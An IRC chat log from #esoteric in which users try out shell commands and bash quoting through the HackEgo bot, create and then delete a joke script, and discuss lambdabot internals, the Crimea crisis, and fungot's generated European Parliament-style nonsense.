:ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :especially if you have it on ignore < 1394482958 635822 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION slaps ais523 again < 1394482959 840295 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but you may want the command to be issued in #esoteric < 1394482969 638726 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` echo -e "\xA0" < 1394482970 219152 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ < 1394482974 273255 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I believe I know what your actual goal is < 1394482979 322471 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but it's not the same as your stated goal < 1394482991 657157 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: thus the reversed X/Y problem < 1394483006 650530 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: the difference is that I'm going to continue trying to think up solutions to the stated goal < 1394483009 241559 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because it's the more interesting one < 1394483045 576060 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I know, you could write a bot with permanent op powers, that mutes HackEgo for a few seconds whenever the command is given < 1394483056 384315 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` echo 160P | dc < 1394483056 967333 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ < 1394483062 174366 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :`` echo -e "\xC2\xA0" < 1394483062 747089 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​  < 1394483079 773943 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :HackEgo seems to think in Latin-1 < 1394483080 608758 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :thanks Melvar < 1394483101 537450 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`` echo -e "\x01" < 1394483102 244220 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​. < 1394483109 774602 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`` echo -e "\x81" < 1394483110 361180 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ < 1394483122 12037 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :`` hexdump -C <<<"ä" < 1394483122 572118 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :00000000 c3 a4 0a |...| \ 00000003 < 1394483127 82178 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :how does that expand into /four/ characters? < 1394483141 292982 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`` (echo '#!/bin/sh'; echo "echo lambdabot: @tell `^_^v Get a better nick") >bin/'^_^v'; chmod +x bin/'^_^v' < 1394483141 912400 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: -c: line 0: unexpected EOF while looking for matching ``' \ bash: -c: line 1: syntax error: unexpected end of file < 1394483146 300959 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :argh < 1394483164 217387 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ais523: What? < 1394483164 793294 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`` (echo '#!/bin/sh'; echo 'echo lambdabot: @tell `^_^v Get a better nick') >bin/'^_^v'; chmod +x bin/'^_^v' < 1394483166 379893 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394483172 982209 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Melvar: ​ < 1394483176 622140 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`^_^v: BOO < 1394483177 247086 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ^_^v:: not found < 1394483181 545657 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1394483196 269448 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hmph < 1394483203 780331 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: forgot the colon < 1394483226 105010 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh < 1394483226 331655 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com PRIVMSG #esoteric :my nick is fine, it's the bot that is the problem < 1394483233 929925 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ais523: I don’t see him say that anywhere? < 1394483237 681853 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`` (echo '#!/bin/sh'; echo 'echo lambdabot: @tell `^_^v Get a better nick') >bin/'^_^v:'; chmod +x bin/'^_^v:' < 1394483239 250807 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394483245 224642 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`^_^v: HAH < 1394483245 821234 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/^_^v:: 3: /hackenv/bin/^_^v:: Syntax error: EOF in backquote substitution < 1394483250 413347 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wtf < 1394483255 312705 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :forgot to quote < 1394483271 944272 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you need a '\'' around the first use of the nick < 1394483298 701125 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :you mean \`? < 1394483309 932630 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :no < 1394483316 61616 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`` (echo '#!/bin/sh'; echo 'echo lambdabot: @tell '\''`^_^v'\'' Get a better nick') >bin/'^_^v:'; chmod +x bin/'^_^v:' < 1394483317 374919 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there are two command < 1394483317 618956 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394483321 24489 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*commands < 1394483326 160999 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`^_^v: *MWAHAHAHA* < 1394483326 791487 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lambdabot: @tell `^_^v Get a better nick < 1394483327 63886 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394483331 302719 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the `` command that creates the executable, and the executable it creates < 1394483332 270380 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@ignore HackEgo < 1394483332 455228 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Plugin `system' failed with: user error (invalid usage) < 1394483342 873849 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: *MWAHAHAHA* < 1394483356 600972 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: also that's mean :( < 1394483366 440974 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's correctly quoted for the outside one, but not for the inside one < 1394483398 601671 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :right, but if the ` survives the first shouldn't it be inside single quotes the second time around? or was there a third? < 1394483416 157415 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@ignore freenode:HackEgo < 1394483416 342233 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Plugin `system' failed with: user error (invalid usage) < 1394483421 624669 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :no? < 1394483422 71481 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :olsner: it should be in single quotes the second time < 1394483426 272089 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because ` is a metacharacter < 1394483435 93002 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :thus it needs to be in two sets of single quotes the first time < 1394483447 190416 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :thus, '\'', which is how you put a single-quote in a single-quoted string in bash < 1394483491 117802 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh. < 1394483493 290010 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :then \\\` should have worked too? < 1394483496 637500 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@ignore + freenode:HackEgo < 1394483497 178519 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :or '"'"' if you want to be stylish < 1394483497 363809 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: @ignore + < 1394483519 431633 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :olsner: \` would have worked for the second layer of quoting < 1394483531 10623 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not the first, though, unless you want to quote all the spaces individually < 1394483537 862487 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :elliott: I should have realized that @admin and @ignore are the same < 1394483590 37091 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(wrt to syntax. don't get any foolish ideas) < 1394483615 535865 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :int-e: I could believe they were a combined user manipulation command that changed user ranks < 1394483634 17026 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's how many auth systems work < 1394483640 401034 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: haha, lambdabot doesn't have that kind of structure < 1394483646 206146 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`run rm bin/'^_^v'* < 1394483647 775918 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394483653 335229 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :also you can have ignored admins < 1394483655 790414 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: but it's believable that it does < 1394483666 895098 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you've clearly never looked at the code < 1394483675 279994 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :indeed < 1394483684 665107 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: is lambdabot in more than one network? < 1394483684 850690 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's why I can continue to maintain the belief < 1394483782 712365 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :nope < 1394483794 439058 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :why the freenode: then < 1394483808 342423 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but in theory it could be, I guess < 1394484005 163946 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :why is that a Data.Map.Map Nick Bool for each, ignored users and admins? < 1394484029 229575 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone didn't want to be Set in their ways < 1394484059 342407 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :might have been written by someone used to Perl < 1394484066 446775 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Perl has Set too, but it's just /so easy/ to do a map to bools < 1394484098 891311 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I even went and optimized a map to bools, by making it a map where the possible values were "undef" and "key not found" < 1394484111 480387 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is really confusing, but sped the inner loop up like 50%, so < 1394484115 896860 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :otoh that makes it easier to merge them into Data.Map.Map Nick Status < 1394484133 793273 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if you would like < 1394484174 386244 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :does the un-ignore/admin function set the value to False or actually remove the nick? < 1394484187 564068 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :olsner: delete < 1394484217 638563 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :this reminds me of the quote map in lambdabot which has two ways for a nick not to have quotes < 1394484245 300985 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :or had, ~5 years ago < 1394484263 453823 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@quote olsner < 1394484263 638696 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :olsner says: shapr: 2eyb6ard 0a5ntenance < 1394484324 759017 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :could be active numlock on a thinkpad. < 1394484335 25980 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394484364 205460 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :not on a thinkpad, but it was indeed numlock < 1394484412 553292 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :int-e: you know that thing where sometimes instead of a quote you get an error like "getRandItem: empty list"? < 1394484440 158648 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :yes, I recall that < 1394484443 821838 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I believe it is fixed < 1394484446 922440 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :ah, nice < 1394484731 531702 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :@quote ais523 < 1394484731 717099 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No quotes match. I've seen penguins that can type better than that. < 1394484833 984506 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`run quote ais523 | shuf -1 < 1394484835 80068 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :shuf: invalid option -- '1' \ Try `shuf --help' for more information. < 1394484851 38748 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`run quote ais523 | shuf -n 1 < 1394484851 650778 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :931) Áis523ÎkËÇÏ52Í¿ÉnÐffjliated/ais523: ever tried reading while confused? < 1394484883 303703 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Quit: Leaving < 1394484936 840985 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`run quote oerjan | shuf -n 1 < 1394484937 440182 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :640) if only alonzo church would have anticipated the computer terminal... itidus20: What do you think it would be if he did so? i just plucked his name at random [...] if only the marquis de sade would have anticipated hospital romance novels < 1394484940 600255 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION remembers that bug being fixed but not what it was < 1394484968 824193 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i said that? O_o < 1394484975 240071 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :removing the last quote for a person left an empty list of quotes in the Map Nick [Quote] < 1394485002 343483 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :olsner: um not the lambdabot one, the fungot one < 1394485002 528294 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: come here, my snuggly green cutie-pie! < 1394485012 942758 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot has bugs? < 1394485013 127822 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: and as for the elf-- self-reliance. < 1394485021 227560 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :olsner: _had_ bugs. < 1394485028 918331 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot had bugs? < 1394485029 103480 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: it's so nice and listen to my song! < 1394485056 528322 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well, a nick-scrambling feature. < 1394485058 344212 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :daisy daisy? < 1394485087 222534 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION considers removing fungot's memory banks before it's too lat.e < 1394485087 447165 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: my name is " roy's archon" < 1394485123 389471 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but I guess someone beat me to it. < 1394485151 86564 :AnotherTest!~turingcom@94-224-29-17.access.telenet.be QUIT :Ping timeout: 252 seconds < 1394485163 701545 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fungot's in OoTS mode again, I see < 1394485163 886909 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: by my calculations, taking into account the ambient temperature and our current longitude, i estimate that i have eliminated! < 1394485242 363441 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: i don't recall em leaving it... < 1394485279 720229 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well I took it out into some other mode a while back, IIRC < 1394485287 239380 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I like europarl, I'll use that one < 1394485290 792331 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^style europarl < 1394485290 979466 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: europarl (European Parliament speeches during approx. 1996-2006) < 1394485294 839840 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fiendish < 1394485306 259802 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fungot: opinions on the current crisis in Crimea? < 1394485307 305775 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: the group of the greens/ european free alliance and the pse group and the gue group deals with two issues which he mentioned. according to the world bank and the european parliament' s political principles. please allow me to make specific mention of women's rights straight back on the disaster of war and wanting a conclusion to those negotiations, including cuba's accession to the eu, the commission cannot accept amend < 1394485320 417847 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, it's almost relevant < 1394485333 599195 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :especially the bit at the end < 1394485341 448743 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(did Cuba apply to join the EU, or is that a fungotism?) < 1394485342 369244 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: madam president, first of all strike at the moment, but the wording could be tightened up to quickly ban the production of the latin american countries would be greatly appreciated in ireland if you would confirm that we will be able to establish that. for every member state, the head of the regulatory regime for hedge funds which will be discussed by the conference of presidents, we decided to allocate ecu 200m to this < 1394485493 976014 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i am getting the feeling lately that there's no sensible argument of law that says crimea cannot legally revolt and secede, but that ukraine could legally revolt and throw out yanukovich. unless the ukrainian constitution actually _had_ a means to impeach him, which you'd think people would have brought up by now. < 1394485629 669489 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Viktor_Yanukovych#Impeachment_and_vote_to_remove < 1394485635 643373 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :as in, the arguments of the west make at least as little sense as the russian ones. < 1394485643 314201 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394485705 981538 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :are the West arguing that Crimea can't revolt? I thought they were arguing that Russia couldn't interfere, due to treaty < 1394485766 308255 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm right that treaty too... < 1394485951 132961 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: reading that section, i'm sure if a nomic had done what ukraine did, you'd be wildly protesting :P < 1394485986 993025 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :probably trying to recover it < 1394486005 478399 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :however, I'm not sure anyone cares about the platonic state of the ruleset in times of revolution < 1394486006 560271 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, it had bugs. < 1394486103 725564 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: well i've heard that the west is arguing that crimea's council's decision to hold a referendum is unconstitutional, so they are obviously trying to use that kind of argument when it fits their view < 1394486143 143718 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is what I don't like about, well, every debate ever < 1394486143 856774 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(although i've also read that the council's quorum was faked) < 1394486158 450627 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :people just cherry-picking the points that support their opinion < 1394486182 805119 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the advantage of adversarial systems is that you expect the adversary to make the other set of points < 1394486211 693122 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but when there are four or five sides that don't line up neatly, and a communication vacuum < 1394486214 259558 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it doesn't really work < 1394486221 24204 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yeah < 1394486240 513882 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: The bug was that the code for checking whether a potential outgoing message is too long had a stack problem (forgot to pop a value, or popped one value too many) in the "yes, it is too long" branch, leading to confusion esp. when used with things like europarl, where it fired oftener. < 1394486281 488120 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :right < 1394486301 887119 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1394486345 354492 :Tod-Autojoined!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394486418 332336 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 240 seconds < 1394486476 328797 :Tritonio1!~Thunderbi@79.141.167.40 JOIN :#esoteric < 1394486494 837900 :Tod-Autojoined2!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394486549 360831 :Tritonio!~Thunderbi@athedsl-19859.home.otenet.gr QUIT :Ping timeout: 240 seconds < 1394486598 399174 :Tod-Autojoined!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1394486650 207906 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 264 seconds < 1394486923 76322 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :what language is fungot written in? < 1394486923 629079 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: madam president, we are meeting to discuss the subsidiarity issue in a way which carries any conviction. the commission is supportive of her point of view of what has been up till now to make the financial systems more competitive. in any case, i apologise on behalf of the committee on the environment. < 1394486954 614702 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :^source < 1394486954 799686 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :https://github.com/fis/fungot/blob/master/fungot.b98 < 1394486968 337107 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :europarl? < 1394487076 986886 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh. < 1394487154 75531 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION backs away from fizzie slowly. < 1394487406 503192 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's why the name starts with "fung". < 1394487442 187048 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :that explanation comes a bit too late. < 1394487447 327589 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: I'm proud of you, you sound like a real politician, all content-free. < 1394487448 234880 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: mr president, ladies and gentlemen, we have stronger protection for human health, but to ensure that this new new york process should not be a substitute for a statement from the commissioner to finish her response. it was emphatic in supporting the struggle of the peoples involved sufficiently supportive of the annual report as soon as they reach completion. it is somewhat unusual. he is still a need in the future is w < 1394487461 694740 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I used to parse it as fun-got < 1394487481 711808 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, it's "funge bot". < 1394487497 715087 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I 'ot it, ok? < 1394487515 888291 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :One could even say you fun-got it. < 1394487531 384791 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :can it do befunge, then? < 1394487545 415006 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Heh, I guessed, and I’ve only been here less than a week. < 1394487587 848321 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's a ^code command that makes it run the given input with SUBR, but it's limited to the administrator, because it's both insecure and brittle. < 1394487602 38970 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fizzie: it's got a lot less fun now. < 1394487631 432223 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Translating befbef.bf to Funge-98 would make it possible to have it interpret Befunge-93. < 1394487649 614231 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"new new york process" is a pretty good name for a process < 1394487664 489006 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Though Befunge isn't all *that* well suited to IRC oneliners. < 1394487832 730618 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's got to be better than Python < 1394488289 162218 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1394488299 672172 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: rebooting < 1394488324 523964 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ais523: Also, no, Cuba has not applied for EU membership; it's a combination of "-- consider whether this is in any way the right approach in view of Cuba's accession to the Cotonou Agreement." and any of a number of different "-- accession to the EU, the --" fragments. < 1394488384 136217 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: I guessed that was indeed what happened, although always interesting to see the original fragments < 1394488419 713084 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot: what's the cotonou agreement? < 1394488420 457944 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: mr president, this document still fails to address the issue of simplifying and updating this regulation is fine. i am not convinced, myself, as you are probably familiar, i hope, and perhaps parliament is also provided for a minimum of assistance in the area of freedom, security and defence policy also endorses this analysis, the background level of the departments of dg vi ruled that the limitations on managerial prog < 1394488474 404668 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The first quoted fragment is the only... wait, no, there's another. Well, there's two instances of "Cuba's accession" in the source text. < 1394488546 292378 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Typical mealy-mouthed doubletalk from you again. < 1394488546 763695 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: madam president, commissioner, ladies and gentlemen, first of all to congratulate mr fourans on his excellent report. in its communication, the european fnord network. i strongly object to the united kingdom, which prefer it that way, you are simply fighting democracy. < 1394488547 801963 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394488574 108625 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Ah, the good old European fnord network. One of the most important organs of the EU. < 1394488604 887048 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't like fizzie's opinion on the UK, though < 1394488640 702540 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Phantom_Hoover, what are your thoughts on fungot being pro-Scottish independence? < 1394488641 476413 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Taneb: mr president, commissioner, i would like to be caught by fishermen from guinea, who wanted the time to do the same in political terms, the commission has made to make a great difference between mr olsson's views and my own country, sweden, a women dies every ten days because she has taken a political decision. each member state not even mrs jorritsma, fnord of all firms and employ 66% of the population, that is, its own < 1394488646 493334 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Disclaimer: any opinions provided by fungot are strictly personal do not necessarily represent the opinions of fizziecorp. < 1394488646 940351 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: mr president, we are benefiting from special treatment, as a wider presence for scottish language and culture as many european universities have links with taiwan are very strong indications that torture is a crime in germany but also in other areas. < 1394488722 335095 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Torture -- a crime in not only Germany, but also in other areas. (Or at least there are strong indications for that; we can't be certain.) < 1394488792 130753 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm glad it's probably 